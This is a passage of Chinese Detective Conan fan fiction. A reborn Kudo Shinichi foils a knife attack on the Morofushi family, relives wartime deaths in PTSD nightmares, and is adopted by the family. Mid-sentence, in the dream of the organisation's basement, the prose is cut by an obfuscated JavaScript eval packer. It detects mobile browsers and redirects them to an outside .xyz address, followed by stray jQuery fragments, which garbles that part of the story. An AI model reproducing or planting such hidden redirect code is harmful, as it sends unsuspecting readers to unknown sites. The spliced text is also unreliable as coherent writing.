“阿姨倒是没有闻到呢。嗯……不过好吧,我会注意的,小侦探。”诸伏加奈很显然只把这话当做小孩子的侦探游戏,她一边用台式机打着字,一边笑着看了他们一眼,“新一君以后一定能成为比福尔摩斯还要厉害的大侦探呢。” “我哪有……啊不是,我是说我还差得远呢。” “景光以后想做什么呢?也要和新一君一起当侦探吗?” 诸伏景光拄着下巴,小嘴嘟起一点,灰蓝色的圆润眼睛转啊转:“我不知道。” “那就慢慢想好了,现在景光只用当妈妈的宝贝就好啦,”诸伏加奈又一次被自己的小儿子萌到,一把搂住了两个团子,“新一君也是,现在都还是阿姨的小宝贝。” 工藤新一颇不适应地红了脸,心里却想,加奈阿姨这话,怕是直觉他现在想的都不是小孩子该想的事了。 就跟以前的兰和灰原一样……女人的第六感还真是可怕啊。 平常的一个下午,暑气把蝉声蒸得发黏。工藤新一和诸伏景光散步回来,工藤新一习惯性地在附近转了转,刚拐过巷口,他的视线就粘在了围栏外的草地上。 前几日他也察看过这里,那时的草地还没有任何异样。然而现在,几天前还平整得像一张绿毯的那片草地,此刻却多了几处突兀的凹陷。草叶被压折,断面新鲜,渗出淡淡的青草汁。最靠近围栏的地方,一圈草被反复碾成了泥绿相间的圆斑,像有人焦躁地原地踱步。 工藤新一立刻认真起来——在这种敏感的时间出现这种痕迹……他回屋里拿出尺子,先测量了几个比较清晰的脚印大小,又走到靠近围栏的地方,仔细观察起那些痕迹。 “长二十六点五厘米,前掌宽十厘米,后跟磨损偏外侧。” 他低声念出数字,指尖顺着鞋印边缘描摹——尺码、步幅、压痕深浅,都与记忆里警方当年的侧写重合:男性,身高一米七八到一米八二,精神不稳,目的明确。 工藤新一瞥了一眼手机上的日历——距离上辈子案件的发生日期,还剩下六天。他抬头望一眼二楼亮着灯的窗户——诸伏加奈正在厨房准备晚餐,锅铲碰撞声清脆。 他深吸一口气,心里把“回福利院”四个字撕得粉碎。 他决定豁出脸面不要,这六天都在诸伏家赖下了。 诸伏夫妇当然没什么不愿意的,诸伏加奈一脸理所应当地表示新一君住在家里不是很正常吗?但是先前几天到底只能算借宿,如果要一连住上六七天,工藤新一还是得回福利院知会一声,顺便把自己剩下的那一点行李搬过来。 晚饭后,暑气未散,蝉鸣在树影里拖长。 诸伏加奈把厨房灯熄了,顺手把景光的小毛巾塞进他手里:“去帮新一拿东西,别让他一个人搬。” 工藤新一却早已把背包甩到背上,笑着摇头:“就几样东西,我自己来。” 福利院离诸伏家两公里,傍晚的街灯刚亮,光晕像融化的黄油。 大挎包里只有几套换洗衣物、两本旧书、充电器——这时他才惊觉,他的大半家当早就进了诸伏家的门了。 “景光,你问问阿姨有没有什么要捎回来的?”工藤新一脚下滑着滑板,跟诸伏景光讲着电话。 自从上次绑架案及后来新一的短暂失语症后,诸伏景光就非常喜欢缠着新一和几个长辈。工藤新一明白这代表景光还是受案子的影响,有点缺乏安全感,所以不动声色地默许了他的行为。只要景光的安全感得到满足,他自然就不会继续这么粘人了。 “没有,”诸伏景光说,“新一要回来了吗?” “已经从院里出来了,很快就能到。” “嗯嗯!” “景光?”工藤新一透过听筒听见了些嘈杂,“你那边怎么了吗?好像有点吵?” “啊,”诸伏景光手里捧着话筒,往门口望了望,“刚刚有人按门铃,爸爸去开门了……但是,好像有争吵声……” 诸伏加奈也有点担心地往外看,安抚地拍了拍景光:“你们聊,妈妈去看看。” “别去!”工藤新一直觉有点不对劲……争吵声,当年案子里倒在门口的男主人和倒在屋内的女主人…… 可是……离那个日子明明还有整整五天! 6. 思水 可恶,果然是蝴蝶效应吗? “你们都别动!景光,把电话给妈妈。”工藤新一抛下手里抱的东西,在这个时代首次启用了滑板的加速功能。滑板轮下火星四溅,马达低鸣像蓄势的猎豹。 工藤新一俯身,风把刘海向后刮开,露出少年才有的锋利眉峰。有事件的时候,他从来不会再装小孩,语气顿时严肃而有威慑力:“阿姨,麻烦你现在马上报警——千万别出门,我马上就到。” 诸伏加奈有点蒙,不知道工藤新一怎么突然这么严肃——语气也完全不像是一个孩子。他是知道了些什么吗? “快!”工藤新一又催促了一句。 诸伏加奈想了想,还是听从了他的话。 信他一次吧,而且,英拓跟外面那个人的争吵声确实让她很不安。 “喂,您好,我要报警……” 工藤新一顾不上他人惊异的目光,踩着滑板贴地飞行一样疾驰往诸伏家。滑板的轮子碾过枯叶与碎石,发出细碎而急促的“喀啦”声。 夕照将尽,天边最后一抹橘红像被谁粗暴地抹开,云层边缘泛着铁锈色。街灯尚未亮起,整条巷子笼在一层潮湿的灰蓝里。暮色苍茫,凉风阵阵,他却隐隐有了汗意。 诸伏家的门牌在暮色中显出模糊的轮廓。 他猛地收脚,滑板“嗤”地擦地停住,惯性推着他向前半步。 工藤新一俯身,把滑板轻靠在墙根,指尖顺势滑过板面——冰凉,却在掌心留下一道微微的潮意。他贴着篱笆的阴影,一步一步靠近门口,鞋底与泥土几乎没有摩擦声,连呼吸都被压成一条细线——而手上已经悄悄准备好了麻醉针。 “你把有里藏到哪了!我的有里!” 这个男人非常符合他的侧写。身高大概一米七八,焦躁不安。他身上穿的是一件短袖外套,从工藤新一的角度看不到里面的穿着,也看不到他有没有藏匿凶器。 是不是这个人? 有里……是个女孩子的名字,这会是他找上诸伏英拓的理由吗? 工藤新一观察着。他不知道那名犯人的样貌,所以不能贸然行动——一切嫌疑人在定罪之前都是无罪的。他看着那人的身躯,目光逡巡着找着什么。 高脚杯纹身……高脚杯纹身…… 工藤新一其实一直很奇怪,为什么会有人选择在身上纹一个高脚杯呢? 正想着,那男人越发激动,已经手舞足蹈起来,嘴里不断地喊着“还给我”“有里”。正在这时,松垮的短袖外套从他肩头滑落。 工藤新一目光如炬,一眼盯住了他肩膀上的纹身,是一个观音像。 如果,如果把这个观音像遮住…… 高脚杯! 他的大脑转得极快,电光火石间就认出了男人的身份——他就是当年那个虐杀案的犯人! 麻醉针已上膛,指节因用力泛白。可变故比呼吸更快——男人猛地把诸伏英拓搡得踉跄,后背撞在门框,发出闷钝的咚响;同一瞬,他右手探进衣内,金属冷光一闪即逝。 诸伏英拓倒地的瞬间似乎被按下了慢速键。他先是肩膀轻颤,像被电流击中。外套的布料在男人掌心里皱出一团暗色的漩涡,随后那团漩涡猛地向后一扯,他的肩胛骨撞上木质门框,左手肘先触地,随后整个人倾倒下来。 “叔叔!” 稚气未脱的嗓音劈开暮色,尾音带着破风般的尖锐。所有计算、所有最优解在这一声呼喊里碎成齑粉。工藤新一像被点燃的引信,脚尖蹬地,整个人化作一道瘦小的闪电——滑板轮子空转,尘土飞扬——狠狠撞向男人腰侧。 “砰!” 骨骼与水泥地相撞的闷响震得空气发颤。男人重心尽失,后背重重磕在台阶棱角,发出嘶哑的抽气声,但手上的刀子依然紧握着。工藤新一用尽气力不让他起身,却实在腾不出手去夺下菜刀或发射麻醉针—— “新一君,松手!去报警!” 工藤新一抬头一看,刚刚跌倒在地的诸伏英拓冲过来,一把夺下菜刀并扔到远处。平日握粉笔的修长手指此刻铁钳般探出,一把扣住男人腕骨,顺势夺下菜刀。金属在夜色里划出一道冷弧,远远落进草丛。 男人刚要挣扎,诸伏英拓已单膝压上他脊背,膝盖碾得对方胸腔闷哼。他左手反折那人右臂,右手顺势扣住左腕,动作虽不算标准,却因狠劲十足而纹丝不动。路灯照在他紧绷的下颌线上,平日温和的眼镜反出冷冽的银光,像突然出鞘的刃。 好厉害……工藤新一目瞪口呆,趁着没人注意他,马上给了那男人一针。 男人挣扎了几下,顺着麻醉针的效力瘫在了地上。 “呼……呼……” 夜风掠过,吹散硝烟似的尘土。诸伏英拓喘着粗气,额角碎发被汗黏成一缕,却仍死死扣着那双手腕,像在确认危险真的被按进地里。他保持了那个凶狠的擒拿姿势好一会儿,确定这人不会再有动作后,才松开手脚,有些踉跄地走到一旁。 “英……英拓……”诸伏加奈仍然放心不下,还是出来看了看情况。她有些受惊,但还是马上跑到丈夫身边:“英拓,你们没事吧?” 诸伏英拓一把把妻子抱在怀里,手臂紧紧地勒着,像是肾上腺素激增带来的爆发还没消退。他一言不发,低头嗅着妻子的发香。 这时他才有些后怕起来:如果不是新一君,他恐怕再也没办法和妻子拥抱了。 工藤新一替诸伏英拓回答了刚刚诸伏加奈的问题:“已经没事了,加奈阿姨。对了,加奈阿姨报警了吗?景光……” “报警了,”诸伏加奈擦擦眼泪,回屋找出一捆麻绳扔给丈夫,“景光还在屋里……我回去看看他。” 诸伏英拓则把那个男人捆起来。 他没问工藤新一刚刚做了什么才让外守一——也就是那个企图持刀施暴的男人——昏了过去。早在那次的绑架案后,他就发现这个男孩有许多的秘密。 但秘密不妨碍他们一家对工藤新一的信任和爱,就像秘密也没有妨碍工藤新一拿一颗真心拥抱他们一样。 警笛划破暮色,红□□旋转着把巷口照得如同白昼。三分钟后,警戒线迅速拉起,闪光灯此起彼伏。 好事者录下的视频已被现场警员拷进U盘——画面里菜刀落地、男人被反剪的画面一清二楚,连甲斐玄人抵达时眉心那道浅浅的川字纹都拍得锐利,让工藤新一颇有些感触——这就是大和警部和上原警官的领路人,甲斐玄人警官啊。 工藤新一站在警戒圈外,指尖无意识地摩挲手表表盘,心里默念:风林火山。 “以后得盯紧些。” 笔录很顺利,程序走得也很快,除了外守一一直一言不发,不抵赖也不认罪外,一切都水到渠成。外守一认不认罪的事不用他们操心,工藤新一拉着诸伏景光的手,想要跟上诸伏夫妇的脚步回家,却意外地没有拽动。 “景光?”工藤新一疑惑地问。 不会是吓到了吧?不应该啊…… “我……”诸伏景光咬了咬下唇,“我想跟有里的爸爸说句话,可以吗?” 工藤新一一愣。 “有里是我的朋友,”诸伏景光说,“我不明白有里的爸爸为什么要对我的爸爸这样子……但是有里曾经有话要对她爸爸说。” 工藤新一看着他坚定的目光,拉着他找到了甲斐玄人。 甲斐玄人听完缘由,眉心微蹙,却还是点了点头。他亲自领着诸伏景光穿过走廊,推开审讯室的门。单向玻璃另一侧,小小的身影站在灯光下,影子被拉得细长,像一根尚未长成的竹。 诸伏夫妇和工藤新一站在审讯室的单向玻璃外,看着诸伏景光小小的身影。 “有里的爸爸,我是有里的朋友。” 外守一被强制打了镇定剂,此时一动不动地坐在原地。 “有里跟我说,她和她爸爸吵架了,她觉得很过意不去,本来打算要在回来后好好跟爸爸道歉的。”诸伏景光稚嫩的声音听不出大的起伏,“她说她很爱她的爸爸。” 外守一依然一动不动,没什么反应。 诸伏景光看了他一会儿,好似也不在乎他有没有反应,抬手拉住甲斐玄人的大手:“甲斐叔叔,我们出去吧。” 工藤新一看着他,恍惚间仿佛跨越时空,窥见了他曾经无缘得见的、景光先生的一角。 听说当天晚些时候,外守一在拘留室里念着女儿的名字,哭得撕心裂肺。他好像终于认清了有里死去的事实,也认清了自己今日的行为会让爱他的有里多么难过。 外守一认罪了。 四个人回到家里时已经到了深夜。 洗碗池里的碗还没有刷干净,阳台外挂着的衣服也没来得及收回,流浪猫在栅栏外踱了两步,最终甩甩尾巴离开,连一声喵也懒得施舍。 但诸伏一家今晚没心情做别的事情,都早早地休息了。 景光蜷在薄毯里,呼吸轻得像羽毛。工藤新一平躺在旁,双手枕在脑后,目光穿过半掩的窗帘,落在那一轮冷白的月上。月光像水银泻进瞳孔,却洗不掉他眼底骤然翻涌的血色。 今夜不知为何,他的情绪有些不稳定。就像是有谁故意搅动他的心弦一般。他眼前不断地闪过前世种种,枪口的火舌、劈啪作响的横梁、滚落的碎石、扑面而来的热浪。画面一帧接一帧,快得让他几乎听见自己太阳穴鼓动的声音。 ……其实诸伏一家那时的猜测并不算猜错,他的确患上了创伤后应激反应。 按理说,一个见惯了生死离合的侦探,是不会那么轻易就患上这心理问题的。因为他经历得太多,能震慑他的事情就少之又少。 可是陌生人、一面之缘的被害人的死亡和悲剧,与他自己亲朋好友的受伤、离去给他带来的影响是完全不一样的。哪怕他被冠上“救世主”的殊荣、是所谓贯穿组织的银色子弹,也不能免俗。 最后的“决战”虽然只有短短两天,但那其实只是攻破组织总部的最后一战罢了。在那之前,这场生死之局早就暴露了它残忍的面目。日本公安、警视厅、FBI、CIA、MI6……众多的红方势力为了那一个目标前赴后继。大半年的纠缠混战里,不知有多少鲜活的、熟悉的面容,下一秒就惨淡收场,有的甚至面目全非、无处觅踪。 他眼睁睁看着他的战友、兄弟们一个个倒下,那么多人为了保护他、为了让他能走到最后挡在他和危险中间……这让他怎么能释怀? 工藤新一苦笑了一下,伴着隐约的蝉鸣逐渐陷入了梦境。 啊,又是熟悉的地方。 工藤新一明白自己是在做梦。他感到自己轻飘飘地落在记忆废墟上,脚尖离地寸许,像幽灵跟随当年的江户川柯南一起潜入组织总部。 都到地下室了啊。工藤新一心想。也就是说,此时本堂小姐,玛丽女士和降谷先生都已经相继牺牲在组织总部了。他身边只剩下赤井先生一个人了。 最后的两枚银弹……贝尔摩德可能真的学过预言吧。 PTSD带来的梦境触发也是有条件的,大多都是工藤新一今日想起了什么、看到了什么,梦境就尽责地给他重演一次他记忆闪回中的画面。 工藤新一今天看到了谁的危机? 当然是被外守一推倒在地的诸伏英拓。 当时,诸伏英拓被推得后仰,后脑几乎擦着门框划出一道冷白的弧线。在工藤新一眼里,那一瞬的画面骤然叠影:昏黄的壁灯化作地下室的惨白顶光,木门框被记忆里的水泥墙替代——诸伏英拓的轮廓与记忆里赤井秀一倒下的剪影严丝合缝地重叠,连衣襟扬起的角度都分毫不差。血与尘在视网膜上同时炸开,心脏像被一记重锤击中,工藤新一几乎听见自己胸腔里那声闷响。 梦里的赤井秀一戴着标志性的针织帽,穿着他那身黑色的套装。他手里紧攥着冲锋枪,护着江户川柯南一路杀进地下室——乌丸莲耶确实神经质又多疑,组织总部的核心地下室被他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137883|180325||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 修得好像一座布满机关的墓穴;“那位先生”更是不遑多让,篡位夺权做的颇为顺手,经他之手又布下了极多埋伏。 空气中满是硝烟和血腥的味道,FBI的王牌先生稳定着呼吸,警惕地走向地下室的尽头。他们两个谁都没有说话,江户川柯南也举着一把贝雷塔,朝最后的关卡进发。 中间的几番激战工藤新一其实有点记不清了,不过他记得那一幕——原本昏暗的长廊骤然亮如白昼,一枚子弹从赤井先生肺部的右下侧没入,又带着血花从他的背部穿出。赤井先生就和英拓叔叔一样,身体朝左侧倾倒,左手肘先触地…… 记忆由此开始变得模糊,像被雨水泡烂的旧胶片,边缘卷曲、影像斑驳。 画面再晃,已是密室门口。 赤井整个人顺着门框滑坐下去,背脊蹭出一道长长的血痕。他的头微微后仰,碎发黏在额角,像被汗水和血糊住的羽毛。那双墨绿色的眼睛仍盯着前方,却失了焦,只剩一点将熄未熄的光。 江户川柯南跪下来,掌心贴上赤井的颈动脉——跳动微弱得像风中的烛芯。他张嘴,却发不出声音,只有滚烫的血腥味在喉咙里翻涌。 “Bouya(日语‘男孩’罗马音),”他的左手颤抖着搭上江户川柯南的肩膀,墨绿色的、一向冷淡而坚毅的眼睛涣散飘忽,“只差临门一脚……你最在行的……” 不!不要!别这样—— “虽然不是很恰……咳,恰当,”赤井秀一的声音越来越小,唇边咳出血液,“但Bouya,你是我们最后的欧若拉……” “我们……一直在你身后,bo——bouya……” 赤井秀一的手从柯南的右肩滑落,摔在了地上的血泊中。 “——赤井先生!” “新一?新一!” “怎么了……新一君?” “听得到我们说话吗?新一君?” 工藤新一喘着粗气,额头满是冷汗,蓝宝石般的眼睛毫无焦距,整个人都在颤抖。他的嘴唇抖动着,像是还在念着那个名字,对外界的呼唤毫无反应。 诸伏景光拉着他的小手,不停地晃着:“新一?新一?” 诸伏夫妇穿着睡衣跑进来。诸伏英拓开灯的一瞬间,看见工藤新一剧烈地抖动了一下,向后做出了一个躲闪的动作。 “新一君,能听见我们说话吗?”诸伏加奈轻轻抚着工藤新一的后背,等待他平静下来。 工藤新一闭上眼,深呼吸了几次,大约过了十分钟左右,手脚都麻木僵硬才有所缓解,身体也渐渐安分下来。 “我没事,阿姨,”工藤新一苍白无力地说,接过诸伏加奈递来的热水一饮而尽。 诸伏夫妇对视一眼。 “景光,你先出去一下可以吗?先去爸爸妈妈的屋子里睡?”诸伏英拓对儿子说。 诸伏景光不听,仍然拉着新一的手。 “就一会儿,景光,就一小会儿,十分钟。”诸伏英拓保证道,“然后就把新一君还给你。” 僵持的空气里,秒针的滴答声被无限放大。景光抿紧唇,最终还是松开手,一步三回头地挪向走廊。门轴轻响,他的小拖鞋在地板上拖出细碎的沙沙声。 门合拢的前一秒,他又悄悄折回,把耳朵贴在门板上。走廊的壁灯把他的影子拉得老长,像一只屏住呼吸的小狐狸。 “加奈阿姨,英拓叔叔,”工藤新一的声音有些喑哑,“我真的没事的。就只是做噩梦。” 诸伏夫妇看着工藤新一坚决抵赖、一言不发的样子,既头疼又无奈。诸伏英拓心想,也许现在还不适合与他说这些。 但是有一件事,如今已经万事俱备,就差一阵东风了。 “孩子,”诸伏英拓说,“我知道你有很多……秘密,叔叔不强迫你说出来——叔叔今天只是想问你,愿不愿意多几个家人?” “啊?”工藤新一有点浆糊住的大脑没转过来弯,他本以为诸伏英拓下一句话就是要他坦白从宽或者委婉地劝他,谁知道……他竟然在这种情况下问他愿不愿意加入诸伏家? 诸伏加奈看着工藤新一难得的呆萌样子,噗嗤一声笑了:“就是你想的那样。高明和景光都期待好久了,景光更是,因为我的要求他一直瞒着这件事,怕是已经急坏了。” “所以,新一君,要不要考虑我们一下?”他们期待地看着工藤新一,把主动权全交在了他手上。 工藤新一现在心里很乱,艰涩地说:“我……我也很喜欢这里……但是……” 诸伏夫妇目光不变地看着他,好似在鼓励他继续说下去。 刚从噩梦里缓过来的人心理防线是很低的,工藤新一鬼使神差:“我确实……有很多秘密。” “而且一时片刻、甚至可能一生,我不能跟你们言明。” “这样也无所谓吗?” 诸伏英拓小心地拍拍他的右肩,没想到又惹得新一向后退缩了一下。他连忙不动声色地缩回手:“是你选择我们,新一君。只要你想,没什么是‘有所谓’的。” 工藤新一之前搪塞自己时用的理由是“诸伏家的惨案未结”,可现在这个借口已经不能用了,他猝不及防直面着这个问题。 他一向是个果断的人,无论是面对案件、计划还是感情。但加入一个新的家庭……这不属于常规的理性范畴。 没人知道他都想了些什么。或许在探究自己对诸伏家的感情深浅、或许在用理性的大脑考虑利弊,又或许只是单纯地思考自己想不想拥有这样几位家人。 寂静的一刻钟,屋里屋外都只能听见挂钟的钟摆声。 工藤新一先垂了垂睫毛,随后抬起脸,嘴角弯出少年特有的、能把乌云撕开的弧度。 “工藤新一,”他声音不高,却带着坚定,“明天开始,就再次请多指教了。” 说完,他伸出小小的右手,指尖因为紧张还有点凉,却稳稳停在半空,像递出一枚崭新的约定。 7. 如堕 房门被推开一条缝,诸伏景光一溜烟钻过,哒哒地跑进来,飞扑上床:“那……新一明天开始就一直和我们在一起了吗!” 工藤新一被压得短促地“唔”了一声,鼻尖撞在景光的发旋上,带着淡淡的洗发水甜味。 “诶……景光?” “是吗新一!”景光被妈妈轻轻往后拎了拎领口,仍倔强地伸长脖子,猫眼在台灯光里亮得像两颗刚洗过的玻璃弹珠,嘴角止不住上扬。 “是。”工藤新一被他感染,也露出了一个大笑的表情,忍不住逗他,“请多指教,景光弟弟。” “才不叫哥哥!” “我比景光大哦。” “可是新一就是新一嘛。” “随——随便你啦。” “新一也不许叫弟弟!” “……” “新一?” “好啦,景——光——,景——光——,好了吧……” 诸伏夫妇笑着看他两人幼稚地吵嘴,悄悄出了房门:“晚安,景光、新一。早点睡吧——明天我们就去办手续哦。” 两个孩子乖巧地点头应允,后脚就又在床上拳打脚踢地玩闹起来。 “反正明天也不需要早起,大不了明天晚点叫他们起床好了。”诸伏加奈无奈地和丈夫说。 夫妻俩一前一后回到主卧,面对面躺在床上,半晌却谁都没睡着。诸伏英拓叹了口气,坐起身,把床头的台灯打开,屋里顿时亮起暖色的光。 诸伏加奈也坐起来:“也睡不着?” “是啊,总忍不住想新一的事。” 诸伏英拓用被子把自己和妻子裹成一大团:“新一不愿意说,我们也不能勉强他——而且我觉得,他应该是渐渐想起了些什么,只是……只是可能说出来,他会更难过。我怎么能去揭开他的伤疤呢?” “所以你想自己搜集些线索?” “目前还没什么眉目,新一以前的经历几乎是空白的,只能通过他这段时间的应激反应反推……”诸伏英拓慢慢地说,“高明跟我说,新一见到由衣君时反应不大对,很可能是以前见过和由衣君那天的穿着很相似的女性。并且这位女性给新一带去了不好的回忆——失语症可能是绑架案后延时触发的,那个小木屋后来咱们也去过,阴暗潮湿,确实很令人不舒服。新一以前或许也在这种地方待过。” “新一还经常做噩梦,醒来时气喘吁吁,然后就再也睡不着了。”诸伏加奈想着工藤新一刚刚的样子,“景光前几天发现的,毕竟他俩一直住在一块儿——对了,明天就得开始准备给新一布置房间了。” 诸伏加奈从事的是文字工作,思维一向比较跳跃。诸伏英拓也不纠正她,等她兴冲冲说到尽兴后才又把话题掰回来:“刚刚新一说的梦呓,你也听见了。老实说,真的很难往好一点的方面想。” “不要——” “别走,大家……” “——赤井先生!” “是在拒绝伤害,还是在拒绝分离?或是都有?”诸伏加奈推测道,“不过最后那个名字……那个‘赤井先生’是新一的什么人?新一那时候的语气实在太痛苦了。 诸伏英拓摇摇头:“线索太少,过度解读容易误导。但我今天还发现,新一似乎对灯光和大人的触碰有所抵触——但也可能单纯是刚从梦里醒来,有点惊弓之鸟。” 夫妻俩一时无话。诸伏加奈从被子团里探出手,熄灭了台灯:“先睡吧,英拓——明早还得想着给高明打电话才行……毕竟他要多个弟弟了……” 第二日,阳光已斜斜地爬上窗棂,诸伏一家仍沉沉睡着。景光与新一的房间里散落的抱枕仍然横七竖八,像一场无声的狂欢残留的痕迹。屋里静悄悄的,直到钥匙转动的声音划破寂静——诸伏高明带着一身晨露与急促的呼吸闯进来。 “高明?”诸伏加奈披散的长发乱成一团雾,她揉着眼睛,声音里还带着未醒的沙哑,似乎没反应过来,“你怎么回来了?” 少年站在玄关,背包带勒得肩膀发红,额前的碎发被汗水黏成几缕。他喉结滚了滚,像是把一路狂奔的惊惶咽回胸腔:“家里出了那么大的事,身为长子,怎能继续安心留在夏令营?” 他喉咙发紧。 万一新一没有撞开外守一呢?万一外守一的刀子再快一点呢? 诸伏高明不敢细想。 诸伏加奈一愣,瞧见自家冷静沉着的长子都开始咬后槽牙了:“啊……这不是,寻思高明你好不容易去一次夏令营,这事情也都解决了,就不扰你心思了……”眼见诸伏高明脸越发黑沉,诸伏加奈连忙又端正态度:“那什么,这事儿是我跟你爸的错——儿子?” 真是的,她为什么在自家儿子面前这么心虚? “早安……哥哥!”诸伏景光和工藤新一从阁楼往下走,看见诸伏高明拉着拉杆箱回家了,兴高采烈地拉着新一跑下来扑进哥哥怀里。工藤新一条件反射一样挣扎了一下,然后无奈而僵硬地半靠在诸伏高明身上。 “哥哥跟我们一起去‘办手续’吧!”诸伏景光故意当做没看见诸伏高明的严肃脸,“哥哥要不要一起?” “高明哥。”工藤新一打招呼。 诸伏高明拿他俩没办法——尤其拿景光没办法,只好和无奈的新一对视一眼,莫名有点“同病相怜”的感受。只好点头,脸上也没了不虞之色。 正巧诸伏高明回来,五个人就一起吃了顿迟到的早餐,没多久,浩浩荡荡地前往福利院办理收养程序了。 诸伏英拓跟长子并肩走着:“高明,你怎么知道家里的事的?” 一提这事诸伏高明就郁闷:“是敢助。他跟甲斐警官通了一次电话,然后转告我的。” “哦。”诸伏英拓点点头,“敢助君跟甲斐警官的关系还是那么好啊。” “是啊。” “新一?”诸伏景光走在工藤新一旁边,“你在看什么啊?” 工藤新一受惊般缩了一下脖子,然后无事发生一样笑着说:“没有啊,就是心情好,看看风景。” 其实是昨晚噩梦的影响还在持续,工藤新一忍不住观察四周警惕,以寻求安全感。不过这话当然不能说就是了。 诸伏加奈的目光在新一紧绷的肩线上停了两秒,终究只是轻轻叹息。她侧身靠近丈夫,轻声商量了什么。 感谢日本如今并不严格的收养程序,否则已经有两个男孩子的诸伏家庭是一定不能收养工藤新一的。因为工藤新一背景一片空白,来福利院也不过三个多月,手续办得相当迅速,当天下午,他的ID就正式挂在了诸伏家名下。工作人员把钢印“咔哒”一声盖下,薄薄的一页纸宣告了工藤新一从此正式成为了诸伏家的一员。 景光踮脚看那张纸,像看一张奖状。诸伏高明蹲下身给他仔细看了半晌,然后把文件收好,塞进背包最里层。夕阳尚早,他们无事一身轻,便高高兴兴地开车去吃了一顿烤肉大餐以作庆祝。 “新一生日是哪一天啊?”席间,诸伏加奈问,“你昨晚说比景光大?” “啊,是啊。”工藤新一正吃着一块菠萝牛肉,“是五月四日。” “五月四日啊……”诸伏加奈有点遗憾,“早就过了呢。” 是啊。工藤新一心想。不过这个日子其实不适合庆祝,毕竟他刚来到这个年代的那天就是五月四日的凌晨——也就是前世决战的最后一刻,他的“祭日”。 那段时间也是许多战友、前辈们的祭日。他怎么庆祝得起来。 工藤新一笑笑,只说自己不过生日,略过了这个话题。 茶足饭饱,炭火只剩暗红的余烬在铁篦下轻轻噼啪。 诸伏英拓擦了擦指尖的油渍,声音像刚温过的清酒,带着暖意与试探:“孩子们,要不要来一次家庭旅行?高明的夏令营半途而废,正好全家一起去透透气。” 桌对面的诸伏加奈弯起眼,手指悄悄在桌下轻点丈夫的手背,目光却绕过两个亲生儿子,落在工藤新一身上。那眼神分明在说:让新一来定。 诸伏高明于是摇头,示意自己没所谓,哪都行。诸伏景光也大概猜得出妈妈的意思,努着嘴、小眉头皱在一起,半天没说出个所以然。 工藤新一则下意识想到了东京。 他一直想找机会去东京一趟,倒不是全为了怀旧或者见故人,而是二十年前的东京,实在发生了太多事情。最近也最紧迫的,就是宫野夫妇进入乌丸集团的事。 按照灰原——宫野志保的出生年月推测,距离那对科学家夫妻被乌丸集团带走至多只剩下两个月了,甚至因为蝴蝶效应等等缘故,这个日子也许会更提前。 不管是“银色子弹”还是“APTX-4869”,都不应该出现在这个世界上。宫野明美和宫野志保,也不应该再一次沦落组织的深渊。 诸伏加奈敏锐地察觉到工藤新一有了主意,于是鼓励地问到:“新一有什么想法吗?高明和景光看样子都没有很想去的地方。” 太明显了,加奈阿姨。工藤新一在心里失笑,却也被这份温柔的迂回烫得心口发热。 “东京。” 工藤新一轻声吐出这个熟悉的地名,脸上的表情怀念而温柔:“我想去东京看看。” “好啊。”诸伏景光第一个同意,“我也好久没去东京了。” 诸伏高明也点头,诸伏夫妇更是满口答应。工藤新一忍不住心头一暖,跟着笑起来。 诸伏加奈望着少年嘴角那抹如释重负的笑,心里像被轻轻拧了一下。感性的那一面先泛上潮意——欣慰又心疼;理性的一面却悄悄竖起耳朵:那双忽然柔软的眼睛,分明藏着旧地重游的光。 她最终没有开口。诸伏英拓和高明也沉默,像约定好一般把疑问折进口袋。他们之间仿佛存在着某种默契,空气里只剩碗筷轻碰的细响,仿佛在说:不急,路还长,等到他想说的时候,再听也不迟。 回去的路上,诸伏英拓特地绕了远路开车兜风。车子沿着河堤缓缓滑行,像一条懒散的黑色大鱼。车窗降下一半,风带着傍晚最后一缕暑气吹进来,吹得后排的三个孩子刘海乱飞。 “二叔家就住在东京,”诸伏景光晃着小腿,指尖在窗玻璃上画圈,“他家旁边有一个小公园,里面有蝴蝶,附近还有电影院和美术馆。” “是吗。”工藤新一点着头,心里却想,看来上一世收养景光先生的就是这户二叔家了。至于公园……不会就是他日后遇见降谷先生的那个吧?还有美术馆和电影院,该不会是…… “二叔家住在哪啊?”工藤新一忍不住问。 诸伏景光眨眨眼,鼻尖皱起:“……我不记得了。” 诸伏高明摸了摸弟弟毛茸茸的脑袋:“你不记得也正常,那时候你也就五岁。”然后跟工藤新一说:“我记得是在杯户町吧。” 那不是就在米花町隔壁? 工藤新一内心感慨:东京真是小啊…… “新一以前去过东京吗?” 景光偏头,猫眼里盛着 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降谷零被困在塌陷的死角,与琴酒缠斗后的伤口仍在渗血,他已无力再动。外围闭合爆破的震波一层层挤压空气,像无形的铁墙。赤井秀一与江户川柯南拼命扒拉钢筋碎石,指尖磨破,血混着灰,却只能眼睁睁看着计时器归零。 耳机里最后传来的,是降谷零低哑却决绝的催促,他的遗言: “FBI!带他走!” “——你听到没有!” 又是为了保护我。 工藤新一在剧烈的心跳里听见自己无声的嗤笑—— 又是这样。 “新一?新一!” 诸伏高明探身,骨节分明的手指扣住少年僵硬的拳头。掌心被指甲掐出的月牙形血痕鲜红刺目,像一串细小的、不肯愈合的旧伤口。 “又是因为我……” 声音轻得几乎听不见,却重重砸在车厢里。 诸伏景光被吓得呼吸一滞,仍固执地凑过去:“新一?你说什么?” 车靠边停下,诸伏夫妇匆匆拉开后车门。狭窄的空间瞬间挤满了急促的呼吸与担忧的目光。 少年面色惨白,眼睫微颤,仿佛仍在崩塌的废墟里挣扎。唇瓣开合,只溢出破碎的音节:“降谷先生……都怪我……” “新一!” 高明又唤,声音带着少有的颤抖。 “新一?新一!” 工藤新一狠狠闭了下眼睛,咬着牙根咽了口唾沫。 他耳边响起了诸伏一家此起彼伏的呼唤——景光带着哭腔的“新一”,高明哥掌心的温度,加奈阿姨轻拍他后背的节奏,以及英拓叔叔把车紧急刹在路边时那一声沉闷的轮胎摩擦。这些声音与触感像锚点,把他从崩塌的回忆里一点点拉回现实。 ——他回来了,他回来了。 这辈子不会重蹈覆辙的。 